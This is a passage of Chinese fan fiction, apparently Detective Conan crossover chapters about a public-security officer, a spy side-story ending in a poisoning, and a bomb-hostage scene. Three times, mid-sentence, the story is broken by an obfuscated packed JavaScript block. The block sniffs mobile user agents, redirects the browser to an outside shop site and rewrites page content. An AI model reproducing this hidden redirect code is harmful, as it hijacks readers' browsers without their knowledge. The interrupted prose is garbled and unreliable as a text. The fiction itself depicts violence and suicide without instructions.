井上顺阳看着台下的摄像机,突然死死抓挠着自己的咽喉,指甲陷进肉里,扣出一道道的血痕。他近乎窒息一样剧烈呼吸着,恐慌地一步一步往后退,直到靠着身后的大屏———无路可退。 台下的众人依旧不知道发生了什么,快门声甚至频繁地响起,直到台上的人拿出枪支对准了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603920|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下方的众人,一丝扭曲的、近乎撕裂的笑容爬上他的嘴角。 【杀了他们你才能得到解脱。】 【杀了他们。】 【杀了他们。】 精神指令。 “愣着干嘛!散开啊!” 台下不知道是谁喊出了这句话,人群突然沸腾着四散开,对准台上的设备有不少在仓皇逃生中被撞翻,发出一阵刺耳的摩擦声。 竹取无尘同时从袖口滑出刀刃猛地朝着那人持枪的手滞出,利刃在扳机还没扣动的时候精准地打飞了枪械。 一边躲避在枪械射击死角的工藤新一看见那枚不知道从哪里飞来的刀刃,眸光一闪。 枪械飞出的瞬间,周围埋伏的公安趁机一拥而上,井上顺阳被狠狠按倒在地,但他不算健壮的身躯依旧在地上剧烈地挣扎着。 “放开!放开我!都去死!!都去死!”他嘶吼着猛地将头向后仰起,接着用尽全身力气撞向水泥地面。 “按住他的头!” 晚了一步。 “咚。” 一声令人心惊肉跳的闷响。 水泥地上炸开了乱七八糟的颜色,而被按着的人再也没了动静。 “这……” 按着人的三四位公安愣住了,他们缓慢地试图扶着地上的人起身,却无济于事。 井上顺阳死了。 死于……自杀? 竹取无尘扭头看见了刚刚喊出声的降谷零,视线撞上了金发公安同样惊愕的目光,两个人隔空相望,都在对方的瞳孔里捕捉到了与自己如出一辙的震惊。 时间仿佛有一瞬间的静止。 些许抱着设备跑的记者已经开始举起了摄像机,对准了台上的一幕,然后被一边的警察猛地挡住了镜头。 “所有的媒体来我这边登记,今天所有的照片不准外传。” “内存卡全部上交,感谢配合。” 吵吵嚷嚷的哀嚎声浅显地表明着对于这出闹剧没有变成业绩的遗憾。 现场已经全部封锁,青年摸索到了自家同事的身边,低声问:“确认后台没有人进出过?” 降谷零摇摇头:“连井上顺阳都不是从后台上来的。” “降———”一边的风见裕也递过了资料,正要开口,却被降谷零一个眼刀止住了话头,转口道,“井上知事是直接从侧门那边进来的,走的宾客通道。” 宾客通道那边直通一个没有监控摄像头的施工工地。 “还好你刚刚发现井上顺阳状态不对,直接掐了直播。”金发公安顺手查阅着宾客通道的出入记录,发现没有异常之后递还给了风见裕也,“我去查看一下尸体。” 这个人的状况太奇怪了。 “好,那我在宾客和媒体里面看看有没有可疑人员。”青年思考着刚刚感知到的那人的画布,点了点头。 那人的精神画布上是一大道作为精神指令的精神钉的痕迹。 那枚钉子直接把整块画布敲烂了。 这个世界又没有精神系能力者,什么东西能够弄出来这种效果啊。 不能又是精神类药物吧? 他们精神系的在这个世界真是要失业了。 46.if线:对的,他是间谍。[番外] 【间谍if线狗血警告】 【狗血 很狗血】 【本篇的主角为本土人员,无穿越和异能设定。】 ■■■ “降谷先生,可以确定之前泄露了公安消息的人就在这栋楼五楼。”风见裕也确认着定位追踪,“那个人的ip这次一直没有变过。” “我们的人已经把这里全部围死,那个人不可能再跑出去了。” “好。”降谷零按着耳边的蓝牙耳机,抬头看了一眼,这栋仅六层楼高的废弃居民楼浸在了雾里,早已经不太清晰。 组织覆灭之后,警察厅公安部的内部消息出现了大批量的泄密,却偏偏全部绕过了零组,整件事情实在是过于蹊跷,被国安部直接下放,现在由他降谷零负责。 说得倒是好听,实际上就是在试探那个人到底是不是出自零组的而已。 道路在死水一样的夜里扭曲,偶尔有腐败的气味蹿进鼻腔。 年轻的公安看了一眼手上的设备,直接下令道:“热成像显示确认有人在里面,直接放催眠瓦斯。” “收到。” 防毒面具已经扣在了面部,整个五楼的通风口都已经释放出足以令一个成年男性昏睡整整一个星期的气体量,如果那个人想保持清醒,就只能选择去到有窗户的房间,拉开窗帘开窗通风。 而狙击手早已经就位。 他们要确保那人无路可走。 之前好几次那人都设下陷阱,把整个公安部耍得团团转,所有人全副武装冲进去,却发现整个房间只剩下了一台被格式化了的电脑。 打开那台设备后,一个笑着的emoji跳了出来,怎么关都关不掉,平白让技术部加了一个星期的班。 彻彻底底的挑衅。 而现在,这件任务被放到了他降谷零手里。 公安再一次向下属确认了那长久没有变化的ip地址。 但是为什么。 为什么这一次不变了。 是陷阱?亦或是什么别的? 他蹙了下眉,疑虑扰乱了长久来的思绪,但是既然已经到了这一步,就已经没有回旋的余地。 “降谷先生,热成像显示那个人不动了。” 公安闻言,再一次验了一下手中的枪。 “行动。” 指令直接下达,降谷零带头一路冲进了五楼最里,一脚踹开了门,侧身躲避。 没有受到设想中的反攻,金发公安走进屋内,没有开灯,死寂一样,无法确认嫌疑人的具体位置。 他一步一步地往那间明显亮着光的房间走去,迈进房间,终于看清这追捕已久的任务目标后,蓝灰色的瞳孔却猛地一缩。 为什么是他。 昏暗之中,只有数台电脑在那人身边闪着光,照亮了一半的侧脸,他没有做任何的防护措施,正散漫地翘着二郎腿靠坐在老板椅上,手上的刀刃转着花。 对方同样看向了他。 “晚上好,降谷警部。” 那人眯着眼笑了,和当年在组织卧底的时候那一模一样的笑容。 竹取无尘。 “你们来得好慢啊,再慢一点我就真的要睡着了。” 坐在老板椅上的人突然又持刀在那只已经鲜血淋漓的左手上面划了一大道,鲜血顺着被割开的皮肉往下流淌,淡蓝色的警服有小半边已经被血染得看不出颜色。 青年歪了歪头,感觉不到疼痛和困意一样,黑瞳中满是笑意。 他见降谷零不回话,仍自顾自地说着:“催眠瓦斯啊,这招不错。” “可惜了,我还醒着。” “为什么?”降谷零觉得自己突然嗓子有些发紧。 “为什么?”竹取无尘挑了挑眉,正要起身,“你的问题或许可以稍微具体……” “别动!” 站在门口持枪的公安看见了坐在椅子上那人试图动作,突然一下厉声打断了竹取无尘淡漠的话语。 青年无机质的黑瞳转向了这位公安。 “等一下,你别……” “欻!” 刚刚还在青年手上转着花的刀刃在所有人都没反应过来的时候已经破风蹭过了那位公安的发丝,稳稳地钉进了墙中。 刀刃被水泥墙面吞没了一大半,可见掷出的时候这人带着切实的杀意。 催眠瓦斯对他根本就没用。 “你。”竹取无尘接着刚刚被打断的动作,直接站了起来,依旧盯着刚刚贸然说话的公安,刚刚带着的笑意彻底消失,“你很吵。” “如果换成了别人,你现在已经变成一团不会呼吸的肉了。” “你懂吗?” “你少大放厥……” “好了。”降谷零伸手按了一下下属的肩,示意对方冷静,站在对面的竹取无尘看到这一幕,又扯开嘴角笑了一下。 金发公安又转头,正试图对昔日的同事说点什么,却同样被对方打断了。 “我没有把电脑格式化,所有的证据都在这里了。”竹取无尘伸出右手转动了一侧的电脑屏幕,让面前的公安都能清晰地看见数据流的跳动。 “现在,事情结束了。” 青年拿出自己身上所有的武器,逐一摆在了电脑桌上,然后举着双手缓缓从桌后走出,逐渐远离了电脑屏那不算多的光亮。 在竹取无尘缓缓走出的那一刻,一边持枪的几位公安对视了一眼,猛地扑上。他甚至还维持着双手举高的姿势,膝盖窝就被人从后重重一踢,整个人不受控制地向前扑倒。 撞击地面的闷响伴随着一声闷哼。冰冷的水泥地面瞬间贴上他的脸颊,几乎同时,沉重的膝盖死死抵住了他的后颈,压制住了所有被挣扎开的可能性。手腕被粗暴地反拧到身后,随即是手铐锁死的声音。 左手手臂依旧在止不住地淌着血,动作之间又不少染带在了淡蓝色的警服上。 窒息般的压迫感中,他艰难地试图抬头转动脖颈,想在晃动的视线里找到那个曾经作为同伴的身影,却只能瞥见地面上的灰尘。 就在这一眼之间,一只手猛地按住他的后脑,将人狠狠按回地面。 “谁让你们这么做了?”降谷零皱着眉,“把人扶起来,他已经没有……” “真是抱歉降谷警部,他们是我的人。”门外另外一位公安走进,降谷零动作一顿,他侧头看去,来的人是一直长期与他在警察厅内不合的同级同事。 “我们查到你好像和他认识啊。”田中宏明直接把一沓文件丢在了地上。 “现在,这件事不由你负责了。” “把人带走。” “抱歉,降谷警部。”一边的公安朝着降谷零致歉,然后跟着田中宏明一起出了门,开始搜查楼栋。 竹取无尘听到这话,闭了闭眼,两名强壮的公安人员将他从地上拽起。手臂被紧紧箍住,踉跄地被推搡着向楼外走去。 “降谷先生,我们……”风见裕也看着楼外走出来的人,同样也是一愣。 “没事。”降谷零摇了摇头,眉头依旧蹙起,看着被罩上头套丢进警车的人。 “我去查点东西。” 如果这个人是他的话。 那么之前的事情肯定有问题。 ■■■ 等青年面前再一次恢复光明,人早已坐进了审讯室的中央。 要不国安的审讯室比那一堆涉黑组织好呢? 他瞥了一眼自己手臂上被草草包扎的伤口,轻笑一声。 双手已然被铐死在了审讯椅的扶手上,他歪了歪头,周身一片漆黑,面前一台直直照着他大亮的台灯刺得他稍微有点眼酸。 “你的真名?” 他看不清那盏灯后说话人的样貌,利用这种被诱发的无助是国安审讯常用的方法。 青年只是摇头,他回答道:“除非降谷零来见我,否则我什么都不会答。” “你的真名?” 这种手段。 他又突然想笑了。 “女士。”青年依旧不直接回答那个问题,“我说,除非降谷零来见我,否则我什么都不会答。” “你们应该已经查到了吧,负责抓捕我的那个田中宏明就是我的同僚,要不是降谷零在现场,我老早就跑了。” 这份业绩是他送给降谷零的,怎么什么阿猫阿狗都想来抢。 “让他来见我,起码让我看看在我面前演了这么久的人到底是个什么样的人。” “不然从我嘴里,你们什么都得不到,想试试吗,女士?” “……………” 灯那侧的人沉默半晌,接着冷声道:“那我们换个问题。” “你服务的机构?” 他现在是真的笑出了声,干脆直接往身后一靠闭上了眼,直白道:“降谷零。” “……………” 对面的声音有不易察觉的阻塞:“…你的真名?” “降谷零。” “…………” 这场你提问我答降谷零的环节不厌其烦地进行了一整天,直到那个一直被反复提到名字的公安走进审讯室,才总算是有了个终结。 降谷零一进审讯室就听到有人在说他的真名是降谷零。 降谷零:…………? 年轻的公安总算是清楚了他怎么又被突然叫回国安了。 “我来吧,”降谷零对着一边的同事道,“既然他想见我,那我就来。” “你说是吧,竹取无尘。” 靠坐在椅子上的青年终于睁开了眼,看向了声音传来的方向。 灯那侧依旧是一片漆黑,不过这都不重要了。 他开口回答了今天第一句除了降谷零外的话语:“对的,警官。” 青年勾了勾唇,接着答道:“不过我不叫竹取无尘。” “那只是个假名而已。” “竹取无尘是警视厅公安部的警部,我不是。” 一阵衣服布料摩擦的声响响起,青年判断出面前的人确确实实被换成了昔日的同伴,他勉强坐直,叹了口气:“我只是个间谍而已。” “是吗?”对面那人声音微沉,“那你叫什么?” “我要是回答了,”他垂眸看了一下自己这身染着不少血的警服,“你能帮我个忙吗?” 降谷零:“你要我帮你什么忙?” “开一下灯吧。”青年的声线比刚刚温和了不少,“原来看不清楚对面的人确实挺难受的。” “好。” 他觉得对面的人应该是微微颔首了一下,所以他也点了点头:“谢谢。” “不过我不知道怎么回答这个问题,”他叹了口气,“因为我没有真名。” 降谷零:“……没有真名?” 青年弯了弯眉眼:“对的,警官。” “石原木也,北川海,珀洛塞可,竹取无尘,他们都是我。”这人如数家珍一样清点着自己扮演过的角色,却又在最后说道,“但是我应该是没有真名。” “一个从小被培养的间谍,怎么可能会有名字呢?” “………”对面的话语一顿,又接着问,“真话?” “当然是真话。”他歪着头,依旧看不清灯那边人的色彩,亮光让眼睛更加难受了,“我没必要费这么大劲见到你,还和你说假话。” 降谷零:“好。” 又是一阵布料摩擦的声响,随即是清散了一片黑暗的暖黄的光,青年眯了眯眼,水雾稍微有些模糊视线,静默半晌,他才终于又再次看清楚了面前的人。 那人依旧是一袭公安制服,和当年他们共事的时候没什么差别。 “好久不见。”他看向那双蓝灰色的瞳孔,声线已捎带着柔和,“还麻烦帮我给另外一位警官问声好。” 审讯室的录音一直在运作,他不敢直接提到那位猫眼警官的名字。 “那我现在应该怎么称呼你?”降谷零直接站起了身,走出审讯桌,靠在桌边看着面前的人。 “随意吧,”椅子上的人微微抬头,那双黑瞳依旧没变,“一个称呼而已,不重要,你想接着叫我珀洛塞可都行。” “好。”公安又一次给了一句肯定回复,“那你自己先讲吧,我不问了,竹取。” 青年抿了抿唇,又自嘲地笑了:“还是你们赢了。” 他深吸一口气,接着道:“所有的证据我都没有销毁,我的机构的信息应该也在那里面,我从一开始就是被外派来的间谍,不过因为违规药物的原因,我失忆了。” “他们找不到我,而我也找不到他们。”他撇了一眼自己已经被磨破皮了的手腕,带着笑意道,“因为我这个倒霉的间谍被派去当了卧底,真的是一层套一层套得没完没了。” “原本组织的事情结束后我也没多想干这个活了。” “但是【他】找到我了。” “我………” “降谷先生。” 话音被打断。 审讯室的门口的传音设备传来外界的通讯:“我是白石议员派下来辅助您的警部补,还麻烦您让我进去。” 他顺着话音,看向了降谷零走向了门口的传音设备。 “相关的通知已经同步到了您审讯室内部的电脑中了。” 降谷零递给了椅子上的人一个安抚的眼神,反手查看着消息,打开了审讯室的门锁。 “抱歉,真是麻烦您了。”这位面生的警部补欠身示意了一下,走了进来,“我就稍微在这里坐一会,走个过场,不然议员那边我也不好交代。” “没事。”金发公安转头看向审讯椅上的人,“你要不等一会再接着说吧。” 青年盯了那新进来的人好一会,愣神半晌,最终也只是扯了扯嘴角:“不用了。” “我就接着说了。” 降谷零突然觉得这人哪里不太对劲,但是又重新开口的话语打断了他想探究的思路。 “我说到哪里了?噢,我说到【他】找到我了。” 他的视线不再看向曾经的同事。 “………嗯,他找到我了。” 那位警部补的视线同样盯着他。 “唉…其实我都是…我都是被……噗呲…对不起…嗯我是被迫……噗…哈哈哈哈。” 金发公安看着面前的人莫名其妙讲到一半笑得弯了下去,正要开口打断说些什么,却被又一句话堵了回去。 “哈哈哈哈咳咳…咳…好了,好了,我玩够了。” “一想到我要说我是被迫的我就想笑。” 笑声突然止住,椅子上的人又重新坐直,黑瞳冰凉地看向他。 “你说什么?” “我说。”青年那标志性的笑容不见了,取而代之的是降谷零所看不懂的神色,“我演不下去,我玩够了。” “什么苦大仇深的戏码,太他妈的难演了。” 他又低头看了一下铐着自己的东西,然后带着狠意厉声道:“我是自愿的,所有的事情都是我自愿做的,我特地避开了你们零组的消息,目的就是诬陷你,引出你,杀了你。因为我恨死你们这帮公安警察了。” “而你就真的这么上钩了,降谷零,你也太天真了。” 那人突然提高的音量让站在一边的降谷零皱了下眉。 “没想到你们竟然能把我逼到这个份上,你们赢了。” 把人铐在扶手上的金属约束锁突然被打开,青年揉着手腕缓缓起身,朝着同事走了过去。 “你怎么…”公安却依旧没有什么别的动作。 “但是你果然还是该去死啊,降谷零。” 青年猛地扼住了对面的脖颈,手指隐隐约约有收拢的趋势,他略微僵硬地扭了下头,微长的发丝晃动些许,声音从喉咙里挤出:“我现在变成这样都是你们害的。” “为什么啊?” 几乎在同一时刻,审讯室后方传来一声轻响。 是守在一旁的警部补按下的开关,那枚麻醉针在竹取无尘来得及做出下一步动作前,精准地钉入了他的肩胛骨。 药效发作得很快,甚至有点过快了。 降谷零亲眼看着这个连催眠瓦斯都奈何不了的人,在针头钉入肩胛的瞬间闷哼一声,缓缓卸下了力道,径直往一侧倒了下去。 “竹……” 他瞳孔一缩,下意识想伸手想去扶地上的人,却那人用尽力气一把甩开。 “滚………咳……滚远点……” 青年伏跪在地上,突然开始猛烈地呛咳起来。 “…咳…别碰…我…咳……咳咳…” 每咳一声,殷红的血液便不受控制地从他喉中涌出,将早已被血渍浸染大半的警服洇成一片更刺目的狼藉。 那个东西不是麻醉针。 “你做了什么?”公安瞬间转身,枪口已锁定了一旁仿佛一切事情与他无关的警部补。 “他活不成了。” 对面的男人看了一眼枪口,却只是遗憾地摇了摇头,走在一侧举起了手:“谁让他说这么多的。” “别以为我不知道,这人想直接通过摩斯电码给你传消息。”男人慢慢踱步到了审讯室中央,“好险啊,降谷先生,你差点也活不成了。” “我还以为他看到我会直接把能说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611304|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的全部都说了,没想到他竟然还想保护你一下。” “我们机构的手段是这么好被直接说出来的吗?” “总有人觉得自己成功跑出来了。” 他笑着,同样坐在了之前竹取无尘坐着的那张审讯椅上,抬头看着天花板上暖黄的灯光,讥讽道:“不过你竟然真的给他开灯了。” “我之前怎么没有这么好的待遇。” “你之后也不会有这种待遇。” 降谷零直接按开了审讯室的门,在监控区发现事态不对的公安早就已经守在了门口,而那位不知道姓名的人也同样不反抗地被扣押着出了门。 金发公安已经半跪下开始查看倒下的人的情况,他侧抬头,对着快要出门的下属说:“麻烦先去叫医生!” “没用的!”已经快要被带出门男人转回头,又冲着房间内的人喊到,“我们机构的药可比你们之前乌丸莲耶那个组织要狠。” “闭嘴。”一边的押着人的公安猛地在那人后面踹了一脚,那人稍微晃了一下,随即是越发大的笑声从门口传来。 “你们先出去。”降谷零把摔在一边的青年尽力扶起,靠坐在了墙边,对着尚留在审讯室内的人说道:“医生来了直接通知我。” “这……”公安看着面前这一幕,稍微有些迟疑。 “出去吧。”他扭头看向了一边的下属,“有什么问题我担着。” “好的降谷先生。” 审讯室内灯光依旧不变,现在又只剩下了他们两个人。 公安半跪下,试图帮竹取无尘顺口气,青年已经不再咳血,只是声息越发地小了,疼痛让人不得不稍微弓了下身子,只有那双黑瞳依旧不变地看着他。 “你……”公安着实不知道该用什么语气面对这个人,他低身道,“你还……” 那人朝着昔日的同事笑了一下,想说点什么,却只能从喉咙里呕出血沫。 金发公安见状,蓝灰色的瞳孔微缩,迅速从审讯桌上拿过纸巾,帮着那人擦拭着不停顺着脖颈往下躺的液体,试图让地上的人好受一点。 “医生快来了……你…”降谷零突然发觉这人好像很久没有别的动作了。 “你是不是…动不了了……” 青年眨了眨眼,降谷零觉得这人应该是在说———『是的。』 那个毒。 这人也说不了话了。 “我看到了。”他依旧在试着帮地上的人擦拭净面颊上留下血迹,用只有两个人能听到的声音说道:“你留下的线索。” “我看到了。” 那天他留下的代码已经全部被技术人员解密,里面全部都是自首信息,没有任何有关他机构的线索。 这人早就猜到了,他给他留了线索,就在几次看起来和挑衅一样的行动里,串成了一线,指向只有他们几个知道的地方。 坐在地上的人仿佛没有听见一样,依旧是那样看着他。 降谷零发觉对方没有反应,深吸了一口气,眼睛稍微有些发涩。 他朝着对方指了指耳朵。 那人眨了眨眼。 没用了。 救不回来的。 他听不到了。 公安猛地拽过青年的手,那双手上也残留有不少的血,他一字一句地在那人手掌心里写着———『我看到了。』 他看着面前的人又眨了眨眼。 『我看到了。』 如果是当年那个人的话他会说什么。 他会说:“谢谢。” 其实没有过很久。 他看到那人缓缓闭上了眼,歪倒了下去,身上还是他们昨天晚上见面的那身警服。 当年这个人因为吃了SPL001,也是这么晕过去的。 等医护人员带着急救设施赶到的时候,那人早就已经没了呼吸,倒在了他的身上。 他好像还是在公安部帮着破了两个杀人案才跑去那个地方坐着的。 他早就知道昨天晚上公安有行动。 ip地址的事情是他故意的。 而且公安的消息泄露得太明显了,根本是在半路就已经明目张胆地通知让他们去截获消息。 所以他才会来国安这边听听他到底想说什么。 但是他没想到他用他自己引出来了几个在警察厅内部的间谍。 所有的线索都指向了他们当年他们当年常常在一块整理情报的安全屋,降谷零连夜赶了回去,那已经空空如也屋子里面放着一份那个情报机构有关所有的资料,包括他们药物控制的手段,以及各种情报交易的枢纽。 还有一封只有几句话的遗书。 『我很喜欢竹取无尘这个名字。』 『竹取警部这个称呼也很好听。』 『以后我就要叫这个了。』 『谢谢你。』 他还说。 『没事的。』 001 【清晨】 竹取无尘一言难尽地从沙发上坐了起来,看着一边刚刚醒过来同样一言难尽的降谷零。 他们两个怎么整理情报整理到一半直接睡过去了。 而且这是什么破梦。 救命。 这是什么破梦!!! 绝对ooc了吧。 绝对的吧!!!!!!!! 那种话竟然也能从他竹取无尘的嘴里说出来? 不是啊,这什么剧情啊!!!!! 竹取无尘:……… 降谷零:………… 二人面面相觑。 “你……” “你…………” 两个人异口同声地发问,意识到了之后又同时闭上了嘴。 “你先说。”青年揉了揉鼻梁,想到了梦里面那个莫名其妙死了的自己。 降谷零顿了一下:“竹取无尘是你的真名吧?” “……………??”竹取无尘觉得自己要是在喝水的话,一定已经一口水喷出来了。 什么意思,他们两个做了同一个梦? 什么意思,你是说他死在降谷零面前这种羞耻的东西还真被降谷零看到了?!! “我…额……应该…是吧?” 听到这句话的降谷零脸色更难看了。 “不不不不不对啊降谷,你你你你你听我说啊,”青年见状,有些语无伦次地直接站了起来,看向降谷零那双蓝灰色的眸子,认真道,“我不是间谍。” “我本人,你别管我叫什么了,我应该就是叫这个,但是名字不重要,我不是间谍。” 他错了,他下次再也不乱编瞎话了。 感觉是他自己把另外一个世界的自己编死了一样。 “缺失的记忆不可能改变我,我也不可能被什么莫名其妙的东西控制。” “而且我上级不是已经死了吗?那个机构不是已经被搜刮得渣都不剩了吗?” “而且有毒针打过来的时候我会躲的。” 那个针好慢啊!他怎么会躲不开啊!! 那个世界的自己怎么会这么弱。 降谷零神色更复杂了。 “所以你是不是和我梦到了同一个东西?” 竹取无尘:………… “我觉得应该是的。” 他苦大仇深地死降谷零面前了!!这种东西!不是!谁发明的啊!天啊!!!! 这对吗!! 不是!他怎么!不是!唉!他是死过一次这没错,可是这梦里也太惨了吧!!! 和梦里那个场景比起来,开枪自决真是来得太爽快了。 室内陷入良久的沉默。 “我觉得,”竹取无尘作为梦境的主角之一,率先打破了沉默,“间谍这件事我们两个都别再提了。” “你说得对。”降谷零作为梦境的主角之二,他看了一眼幼驯染发来的消息,终于找回了一点实感。 “这个梦也别再提了。” “你说得对。” 真的太奇怪了。 002 松田阵平最近总觉得降谷零有点不在状态。 松田阵平和萩原研二试图拉着降谷零和诸伏景光还有班长和娜塔莉去高尔夫球场放松。 松田阵平发现这个高尔夫球场竟然还有球童(球童发音与间谍一致)。 松田阵平被降谷零捏住了嘴。 003 竹取无尘冲到了洛洛溪的心理咨询室。 竹取无尘:“我就叫竹取无尘的对吧?” 洛洛溪:………? 洛洛溪:你又失忆了? 47.第 47 章 131 【“瑟克尔核心控制区”】 陈无正站在门口看着他。 竹取无尘坐在窗边,哨岗的灯打着令人不安的气氛,他侧头,开口问道:“怎么,你不去了?” “不。” 男人摇了摇头,额间的碎发有些轻晃。 “我只是在想……” 那人朝他走近,摘掉手套俯下身,黑色的风衣摆落在地面,那只手带着些许的冰凉,稳稳地压在了青年的后颈,把他带得离那人稍近了些许。 他听见那人声音的微沉:“别动,看着我的眼睛。” 他歪了歪头,依言和那双基本与他没有差别的黑瞳对视着。 黑夜仿佛躺进了寂静的光阴。 “竹取无尘,你要记住我们都是在为了什么。” “【为了一切的正义,和不必要的牺牲。】” “【我们是在救更多的人。】” 精神力值降低至97% 无边而漫长的夜晚是会让人迷路的。 如果月光能照亮归途就好了。 “你………” 那双黑瞳刺痛着神经,竹取无尘猛地眨了一下眼,呼吸交错之间话语坠下,一枚精神钉缓缓钉死在了自己的精神画布上。 “你给我下精神指令?” 他一下拽住了那人想收回的手,不解道:“为什么?” “你可以自己去掉它。”陈无抽回手,起身站好,重新戴回了皮革手套,“但是跟着它走,不好吗?” “好吗?”竹取无尘同样站起身,“你觉得呢?” 精神指令是精神控制中的一种,是一种不可违背的指令。 “我不知道。”陈无突然自嘲地扯了一下嘴角,又再次低声喃喃重复了一遍这句话。 “我不知道。” “……………” 沉默半晌后,那人转移了话题:“三年前我拿给你的那个吊坠,你还记得吧。” “你是说这个?”青年闻言从口袋中拿出来了那个随身携带着的东西。 “这个和你给我下精神指令有什么关系?” “没什么关系。”陈无笑着看向他,“我只是想说那个本来就是你的东西,你也给了洛洛溪一只。” “我的东西?”他顺势低头看着那一枚明显带着某种古老阵法的石头,皱了下眉,“是吗?” 陈无:“是吧。” “哈。”竹取无尘又把手上的东西收了回去,笑道,“不重要。” “同样地,到底是你的东西还是我的东西,也不重要。” “但是你还是应该给我说清楚你到底为什么要这么做。” “等我回来吧。”那人叹了口气,“那边还有点急。” “好。”青年点了点头,“那等你回来我们再说。” “我要去做我的任务了,一会回来想吃什么?” “嗯……”男人沉吟片刻,“巧克力?” “………” 竹取无尘略带无语地接话:“你要想吃的话现在就有。” “我想吃纯可可脂的。” “可可树八辈子前就已经灭绝了。” “那算了。” 男人转头望向窗外,昏沉燥热的天空下是高墙———一面没有尽头的墙。 甚至不知道外面有没有起风。 “我走了。”陈无对着他弯了弯眼角。 “好。”竹取无尘还是把那两颗代可可脂的巧克力塞进了对方的口袋里,“等你回来要说清楚精神指令这件事。” “所以,你得回来。” “我会尽力的。”那人又笑了,“别说这种话,气氛被你说得也太沉重了。” “而且说得好像你去做任务就不会出事一样。” “这句话同样还给你。” “你也得回来。” 青年很想再次冷嘲一声,但是最后却只发出了一声轻叹,点头道,“我会尽力的。” 他看着那人出了门,在走出两步之后他又回头朝他挥了挥手。 那人的高马尾被吹得有些散乱。 原来外面有风正在呼啸。 在之后那场行动中他伤得很重。 但是他按照约定回来了。 他同样一直没有动手去掉那颗对他们来说轻而易举就能去掉的钉子。 因为那个人没有回来。 133 不是所有人都能承受得住精神指令的———精神画布一旦被钉子砸崩了,人也就差不多废了。 不过报废的花样也是各式各样的罢了。 那井上顺阳又属于哪一种情况? 竹取无尘一边思索着一边翻开手机发送着消息。 【手机通讯】prosecco:井上顺阳死了,我这个任务是不是可以结束了? 【手机通讯】Gin:死了? 【手机通讯】Gin: 找到弄死井上顺阳的人,不管你用什么办法,给我带回来。 【手机通讯】Gin:要活口。 【手机通讯】prosecco:………? 竹取无尘看着杀手发来的消息,蹙了蹙眉。 他是不是自己给自己找了个任务做? 不过没关系,反正他也要正好要找这个人,他现在莫名和琴酒有了同一个目的。 青年合上了手机,接着搜查着刚刚情绪明显不对劲的人。 “井上顺阳手臂上有个明显的针孔,鞋底和裤腿上都沾了不少工地的灰尘。”蓝牙耳机内传来降谷零的声音,“我觉得和他的死因脱不了关系。” “要不直接把人带回去尸检吧。”青年一边搜寻一边回答,“我找找场内有没有人同样有———” “是你吧,原田先生。” 没说完话的竹取无尘闻声看了过去。 “你就是最后一个和井上知事见过面的人吧。”工藤新一已然比他快了一步,“你衣服背后上的涂料点和井上知事指缝中的涂料一模一样。” “这是工地上常用的涂料。” “就算你已经更换了裤子和鞋子,这也———” “啪咔。” 枪械上膛的声音打断了侦探的破案流程。 站在场内另外一侧的青年总觉得这一幕特别眼熟。 所以那天回去之后工藤优作依旧没有给工藤新一进行什么危险主题教育是吗? 但是他确实相信工藤新一的推理不会出错,现在他找到弄死井上顺阳的嫌疑人了。 还得感谢工藤新一送来了任务目标。 原田净三直接一把拉过了面前的国中生,用手肘夹住了对方脖颈,枪口同样顶在工藤新一的头上。 “臭小鬼,是我干的又怎么样,我就没有想藏过,原本好好让我出去就行了,就你非要破案是吧。” “原田先生!” “先生你冷静,我们有话可以商量,没必要……” “谁要和你商量,让所有的警察都滚开,不然我崩了这小子。” 降谷零皱着眉混在一边的人群里,眼神暗示了一下风见裕也,得到上级指示的公安迅速开始联络外界。 “我知道!”原田净三突然提高了音量,拽着工藤新一走了两步,“我知道你们公安会想着在外面安排狙击手。” 男人突然用持枪的手狠狠地扯开了衬衣领口,脖颈上圈着的东西连着数根不同颜色的线往下延生。 在一边找机会准备把枪械打掉的竹取无尘看到了那个东西,动作一滞,扭头又同样看见了降谷零面色复杂的样子。 炸弹。 又来!! 这个世界的炸弹会不会有点!太!多!了!啊! 不是!到底为什么会有这么多炸弹啊! 工藤新一被拽得有些站不稳,侦探在看见那人脖子上的东西后同样吸了口气,低声道:“原田先生,你没必要……” “闭嘴臭小鬼。”原田净三依旧把那柄枪抵在侦探头上,“我怕你们这帮人没见过世面,我给你们讲解一下。” “这个东西链接了心跳频率监视仪,一旦我失血昏迷或者死亡,心跳频率低于了正常范围,你们这帮人就等着和我一起被炸上天吧!” “所以,老老实实地给我让开!” 降谷零站在台侧,挤不过去,又发觉竹取无尘已经快挤到了人群最里,正要对着耳机说点什么,却看见那人朝着他的方向摇了摇头。 “原田净三先生。”青年单举着一只手从人群中走了出来,在原田净三面前站定。 “你挟持的那个不过是个孩子,我们不如换一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623545|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换,我跟着你走吧。” 